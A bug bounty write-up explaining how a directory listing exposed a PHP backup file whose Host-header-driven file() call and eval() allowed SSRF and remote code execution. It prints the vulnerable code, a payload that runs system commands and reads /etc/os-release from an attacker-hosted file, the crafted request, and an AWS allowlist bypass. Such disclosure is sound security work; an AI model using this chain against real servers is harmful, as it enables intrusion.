Directory Listing to RCE

Table of Contents

Directory Listing to RCE (?!)

Hello World :)

Here is a little Write-Up i decided to do. It’s on a vulnerability i discovered not long ago on BugBounty, i hope you will like it !

Starting from the bottom

I started by looking at a website who was not looking really big and, after looking passively (following links, digging JS files, …)
i didn’t found anything really interesting on it.

I then decided to use one of my favorite tools: FFUF :)

Every time i use it, i start with the one4all_micro wordlist. This time, it didn’t returned me a lot of interesting things except a php directory.

When i wanted to check this dir, i was thinking that i will get a 403 but, surprisingly, the directory listing was enabled on this folder…

Source Code ?

Only 6 files were inside the folder (including copies like .php.old et .php.old_jul). Looking closer, one of the file got my attention.
It was named gen.php and, it could be directly called (the other one only contained functions). When i wanted to acces the file, i got a 500 Error.

So i looked at the file gen.php.old_jul and, after looking through it, i took this code snippet:


if(getenv("REQUEST_METHOD") == "GET")
{
    if($_SERVER["HTTPS"] == "on" ) $protocol = "https";
    else $protocol = "http";

    $arrcont = file($protocol."://".getenv("HTTP_HOST")."/".$_GET["name"]."/dir/file?id=".$_GET["id"]);

    foreach($arrcont as $arr)
     {
        if(substr($arr,1,11) == "chartvalues") eval($arr);
     }

    $chartvalues = setScaling($chartvalues);
    if($LOGGER=="ON")
     {
      tLogger($LOGFILENAME,"------ REQUEST --------\n");
      tLogger($LOGFILENAME,"TIME=".date("d-m-Y H:i:s")."\nSID=".$_GET["id"]."\n");
      tLogger($LOGFILENAME,"------ CHARTVALUES ------\n");
      foreach($chartvalues as $chartname => $chartvalue) tLogger($LOGFILENAME,$chartname."=".$chartvalue."\n");
     }

    if($chartvalues["yMax"] == "0") MakeEmptyImage($chartvalues);
    //else
    //if($chartvalues["yMin"] == "0") MakeEmptyImage($chartvalues);
    if($chartvalues["type"] == "linechart") MakeLinePointChart($chartvalues);
    else
    if($chartvalues["type"] == "barchart") MakeBarChart($chartvalues);
    else MakeEmptyImage($chartvalues);

}


What i wanted to use here was the first part:


if($_SERVER["HTTPS"] == "on" ) $protocol = "https";
else $protocol = "http";

$arrcont = file($protocol."://".getenv("HTTP_HOST")."/".$_GET["name"]."/dir/file?id=".$_GET["id"]);

foreach($arrcont as $arr)
{
	if(substr($arr,1,11) == "chartvalues") eval($arr);
}


As we can see, there are multiple bad things here:

  • They are using getenv("HTTP_HOST") on a file() function.
  • The $_GET["wsname"]
  • And, obviously, the eval() if the string chartvalues is found in the array.

From here, we know that it’s possible to play with the file(). However, as i said before, there was nothing interesting on the site (no way to upload a file) Fortunately, the use of getenv("HTTP_HOST") and, the fact that the application don’t check the Host header, it was possible to do a Server-Side Request Forgery (SSRF).

The Exploitation

I then started by modifying my Host header and insert a collaborator. I successfully received a HTTP Request on it.

Knowing this, i created a file on my server containing this in order to confirm it was possible to exploit the vulnerability to do a Remote Code Execution: "chartvalues";system("echo 'RCE :)\n';cat /etc/os-release");

Here is how i crafted my request:

GET /gen.php?wsname=exploitrce.txt%3f HTTP/1.1
Host: kuromatae.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

To my surprise, it didn’t work… I didn’t even received a request on my server. I started to look as why i didn’t received anything and, i discovered that only the AWS IPs were whitelist !

Then i booted an EC2 with a let’s encrypt certificate and, after trying again, it worked :)

The End

I wanted to show you that, starting with nothing much, we can discover a Remote Code Execution on a website which looked totally empty at the beginning !


Thanks for reading !
~ Kuromatae